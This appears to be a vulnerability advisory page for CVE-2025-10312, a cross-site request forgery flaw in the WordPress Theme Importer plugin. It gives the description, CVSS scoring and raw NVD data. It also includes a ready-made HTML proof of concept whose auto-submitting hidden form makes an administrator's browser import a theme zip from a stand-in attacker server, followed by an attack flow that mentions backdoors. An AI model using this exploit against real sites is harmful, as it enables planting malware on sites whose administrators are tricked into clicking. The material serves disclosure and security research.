Security Vulnerability Report
中文
CVE-2025-10312 CVSS 4.3 MEDIUM

CVE-2025-10312

Published: 2025-10-15 09:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Theme Importer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation when processing form submissions in the theme-importer.php file. This makes it possible for unauthenticated attackers to trigger arbitrary file downloads and potentially execute malicious operations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Theme Importer插件 所有版本(包括1.0及以下)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10312 PoC - CSRF Exploit for WordPress Theme Importer Plugin --> <!-- This PoC demonstrates how an attacker can exploit the missing nonce validation --> <!-- Save this as an HTML file and host it on an attacker's server --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <!-- Hidden form that auto-submits to trigger the vulnerable Theme Importer action --> <!-- Replace 'http://target-wordpress-site.com' with the actual target URL --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php?page=theme-importer" method="POST"> <!-- The action parameter triggers the file download/import functionality --> <input type="hidden" name="action" value="import_theme" /> <!-- Malicious URL pointing to attacker's server hosting a malicious theme zip --> <input type="hidden" name="theme_url" value="http://attacker-server.com/malicious-theme.zip" /> <!-- Additional parameters that may be required by the importer --> <input type="hidden" name="import_submit" value="1" /> </form> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> <!-- Alternative: Image-based CSRF that triggers on page load --> <!-- <img src="http://target-wordpress-site.com/wp-admin/admin.php?page=theme-importer&action=import_theme&theme_url=http://attacker-server.com/malicious-theme.zip" style="display:none" /> --> </body> </html> <!-- Attack Flow: 1. Attacker hosts this HTML page on a malicious server 2. Attacker sends the link to a logged-in WordPress administrator via email/social engineering 3. When admin clicks the link, the form auto-submits with their session cookies 4. The WordPress site processes the request without nonce validation 5. Malicious theme gets imported, potentially containing backdoors or malware -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10312", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:40.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Theme Importer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation when processing form submissions in the theme-importer.php file. This makes it possible for unauthenticated attackers to trigger arbitrary file downloads and potentially execute malicious operations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/theme-importer/trunk/theme-importer.php#L71", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9316796b-312f-4562-b92f-7de0129e4163?source=cve", "source": "[email protected]"}]}}